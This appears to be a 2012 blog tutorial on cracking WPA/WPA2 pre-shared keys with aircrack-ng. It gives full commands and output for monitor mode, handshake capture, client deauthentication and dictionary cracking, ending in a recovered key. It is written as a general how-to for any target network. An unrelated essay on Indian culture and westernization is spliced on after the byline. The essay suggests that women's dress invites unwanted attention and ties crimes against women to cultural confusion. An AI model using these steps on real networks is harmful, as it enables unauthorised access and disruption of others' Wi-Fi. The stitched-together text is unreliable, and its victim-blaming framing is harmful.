Tutorial: How to Crack WPA/WPA2
By Vishwa Pratap Singh
August 2012
This tutorial walks you through cracking WPA/WPA2 networks which use pre-shared keys. I recommend you do some background reading to better understand what WPA/WPA2 is.
Assumptions
First, this solution assumes:
Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.
In this tutorial, here is what was used:
MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
MAC address of the wireless client using WPA2: 00:0F:B5:FD:FB:C2
BSSID (MAC address of access point): 00:14:6C:7E:40:80
ESSID (Wireless network name): teddy
Access point channel: 9
Wireless interface: ath0
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
The objective is to capture the WPA/WPA2 authentication handshake and then use
aircrack-ng to crack the pre-shared key.
This can be done either actively or passively. “Actively” means you will accelerate the process by deauthenticating an existing wireless client. “Passively” means you simply wait for a wireless client to authenticate to the WPA/WPA2 network. The advantage of passive is that you don't actually need injection capability and thus the Windows version of aircrack-ng can be used.
Here are the basic steps we will be going through:
Start the wireless interface in monitor mode on the specific AP channel
Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
Use aireplay-ng to deauthenticate the wireless client
Run aircrack-ng to crack the pre-shared key using the authentication handshake
The purpose of this step is to put your card into what is called monitor mode. Monitor mode is the mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later capture the WPA/WPA2 4-way handshake. As well, it will allow us to optionally deauthenticate a wireless client in a later step.
The exact procedure for enabling monitor mode varies depending on the driver you are using. To determine the driver (and the correct procedure to follow), run the following command:
airmon-ng
On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds:
Interface Chipset Driver
rausb0 Ralink RT73 rt73
wlan0 Broadcom b43 - [phy0]
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
The presence of a [phy0] tag at the end of the driver name is an indicator for mac80211, so the Broadcom card is using a mac80211 driver.
Note that mac80211 is supported only since aircrack-ng v1.0-rc1, and it won't work with v0.9.1. Both entries of the Atheros card show “madwifi-ng” as the driver - follow the madwifi-ng-specific steps to set up the Atheros card. Finally, the Ralink shows neither of these indicators, so it is using an ieee80211 driver - see the generic instructions for setting it up.
First stop ath0 by entering:
airmon-ng stop ath0
The system responds:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.
Now, enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that “ath0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter “iwconfig”.
The system will respond:
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the card MAC address in the AP field, other drivers do not. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out:
http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.
Unlike madwifi-ng, you do not need to remove the wlan0 interface when setting up mac80211 drivers. Instead, use the following command to set up your card in monitor mode on channel 9:
airmon-ng start wlan0 9
The system responds:
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
Notice that airmon-ng enabled monitor-mode
on mon0. So, the correct interface name to use in later parts of the tutorial is mon0. Wlan0 is still in regular (managed) mode, and can be used as usual, provided that the AP that wlan0 is connected to is on the same channel as the AP you are attacking, and you are not performing any channel-hopping.
To confirm successful setup, run “iwconfig”. The following output should appear:
lo no wireless extensions.
eth0 no wireless extensions.
wmaster0 no wireless extensions.
wlan0 IEEE 802.11bg ESSID:""
Mode:Managed Frequency:2.452 GHz Access Point: Not-Associated
Tx-Power=0 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.452 GHz Tx-Power=0 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Here, mon0 is seen as being in monitor mode, on channel 9 (2.452GHz). Unlike madwifi-ng, the monitor interface has no Access Point field at all. Also notice that wlan0 is still present, and in managed mode - this is normal. Because both interfaces share a common radio, they must always be tuned to the same channel - changing the channel on one interface also changes channel on the other one.
For other (ieee80211-based) drivers, simply run the following command to enable monitor mode (replace rausb0 with your interface name):
airmon-ng start rausb0 9
The system responds:
Interface Chipset Driver
rausb0 Ralink rt73 (monitor mode enabled)
At this point, the interface should be ready to use.
The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.
Enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
Where:
-c 9 is the channel for the wireless network
-
-w psk is the file name prefix for the file which will contain the IVs.
ath0 is the interface name.
Important: Do NOT use the ”-
-ivs” option. You must capture the full packets.
Here what it looks like if a wireless client is connected to the network:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
In the screen above, notice the “WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.
Here it is with no connected wireless clients:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
See the
Troubleshooting Tips section below for ideas.
To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for ” WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means a four-way handshake was successfully captured. See just above for an example screenshot.
Use Wireshark and apply a filter of “eapol”. This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.
This step is optional. If you are patient, you can wait until airodump-ng captures a handshake when one or more clients connect to the AP. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then you have to be patient and wait for one to connect to the AP so that a handshake can be captured. Needless to say, if a wireless client shows up later and airodump-ng did not capture the handshake, you can backtrack and perform this step.
This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.
Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
Where:
-0 means deauthentication
1 is the number of deauths to send (you can send multiple if you wish)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
ath0 is the interface name
Here is what the output looks like:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
With luck this causes the client to reauthenticate and yield the 4-way handshake.
The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.
The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.
There is a small dictionary that comes with aircrack-ng - “password.lst”. This file can be found in the “test” directory of the aircrack-ng source code. The
Wiki FAQ has an extensive list of dictionary sources. You can use
John the Ripper (JTR) to generate your own list and pipe them into
aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.
Open another console session and enter:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Where:
-w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
*.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.
Here is typical output when there are no handshakes found:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
No valid WPA handshakes found.
When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.
Here is typical output when handshakes are found:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
# BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.
Here is what successfully cracking the pre-shared key looks like:
Aircrack-ng 0.8
[00:00:00] 2 keys tested (37.20 k/s)
KEY FOUND! [ 12345678 ]
Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71
EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
***********Vishwa Pratap Singh************
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Confusion, confusion and
confusion, that’s all we have right now. We Indians are confused to be modernized,
westernized or remain with our original Indian culture. We have stepped our one
foot in western boat bout don’t want to step out our other leg from Indian
culture. This confusion is dramatically influencing our society. The criminal
cases, crime against women, all are result of this confusion. Both culture whether
it is Indian or westernization or any other culture of world are great. We
cannot say that this culture is bad or this culture is good. All cultures have
their qualities, all cultures are developed by us , Human. But thing is that
are we ready to move from one culture to another. Change is inevitable, we will
surely move from our culture to western as we all are very impressed with
western culture and trying to be like them. In first attempt we usually think
about things favorable to individual. Let’s start with a boy point of view. A
boy want to be westernized, he want a girl friend who can roam around him, with
whom he can enjoy sexual pleasure. He wants that his choice for marriage will
be accepted by his parents, his relatives. He wants to roam in nights with his
friends or female friends. He can wear anything he likes. We can say that a boy
wants to be totally westernized. But things changes dramatically when it comes
to his sister or daughter. He never wants that his sister or daughter should
have a boyfriend. He never like his sister to go in clubs in short dress, He
wants to see other girls in short dresses, but never wants his sister should
wear such types of things. Now case of girls they want to wear short dresses,
they want to expose . But her minds turned into
Indian when a guy tries to checkout the things she is trying to expose. Then why she
is wearing these types of dresses? What
she wants from our society. I am not apposing western culture, or girl’s choice
of dresses, but I just want that she should decide whether she wants to be westernized
or not. Is she is ready to handle such situations. One more thing I used to see
on cities, even in metros, Girls like to wear t-shirt with some
crazy quotations and at the same time, they used to cover their face!! I am
always confused about her mentality, what she wants? Is she thinks that her
face is too private and it should not be seen by others and her other
body parts can be seen by anyone!! Now comes to parents point of view they
wants their children should be westernized they can study anything they want,
they should be capable to take decisions. But when it comes to children most
important decision of live MARRIAGE; they just want it should be organized by
them, not by their children. Bride or groom should be of their choice. Is it fair?
